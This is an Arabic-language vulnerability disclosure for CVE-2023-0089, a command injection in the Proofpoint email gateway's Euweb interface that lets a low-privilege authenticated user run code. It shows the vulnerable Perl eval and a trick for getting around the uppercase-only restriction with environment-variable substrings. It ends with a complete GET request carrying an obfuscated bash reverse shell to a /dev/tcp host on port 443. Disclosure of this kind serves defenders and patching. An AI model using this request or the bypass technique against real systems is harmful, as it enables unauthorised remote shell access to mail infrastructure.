
Proofpoint Email Gateway: RCE من مستخدم مصادق بمستوى منخفض إلى المسؤول
باحث أمني: ly1g3, ly1g3[at]tuta.io
بصمة GPG: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
نظرة عامة: تنفيذ أكواد عن بعد - من مستخدم مصدق بمستوى منخفض إلى مسؤول (RCE)
CVE: CVE-2023-0089
الجدول الزمني:
استغلالات لـ Proofpoint Messaging Security Gateway
يمكن لمستخدم منخفض المستوى (مصدق) في Euweb الحصول على تنفيذ أكواد عشوائي بصلاحيات المسؤول.
دالة getMsgType في Euwebutils.pm معرضة لحقن الأوامر. المتغير $module يأتي من معامل GET ولا يتم تطبيق أي تعقيم على هذا المدخل من المستخدم.
sub getMsgType {
...
else {
$msgtype = eval "Proofpoint::Digest::PROOFPOINT_MAIL_REPORT_MSGTYPE_".uc($module);
}
تُستخدم دالة getMsgType هذه بواسطة العديد من استدعاءات API المستخدمة بواسطة تطبيق Euweb، لذلك يمكن تشغيل الاستغلال بعدة طرق.
نظرًا لأنه يجب أن تكون جميع الأحرف كبيرة، يمكن استخدام متغيرات البيئة لتجاوز هذا القيد للأحرف الصغيرة. مثال: ${SHELL:1:1} بدلاً من b
نظرًا لاستخدام use strict، يمكن إضافة MAIL_GENERAL() إلى بداية السلسلة لإكمال PROOFPOINT_MAIL_REPORT_MSGTYPE_. بعد ذلك يمكن إضافة كود بيرل مخصص.
مثال لحمولة غير مشفرة: MAIL_GENERAL();`id`
شيل عكسي مشفر باستخدام متغيرات البيئة لتجاوز قيود الأحرف الصغيرة. يتم تشغيل الكود كمستخدم pps.
GET /euweb/euweb?cmd=x_releasemsg&id=0&func=ReleaseMsg&entries=23%3A23%3A12&eid=3&module=MAIL_GENERAL()%3b`/\${SHELL%3a1%3a1}\${SHELL%3a2%3a1}\${LANG%3a1%3a1}/\${USER%3a2%3a1}\${SHELL%3a8%3a1}+-\${SHELL%3a2%3a1}+>%26+/\${SSH_TTY%3a1%3a1}\${TERM%3a2%3a1}\${MAIL%3a1%3a1}/\${TERM%3a1%3a1}\${TERM%3a9%3a1}\${USER%3a0%3a1}/192.168.80.81/443+0>%261`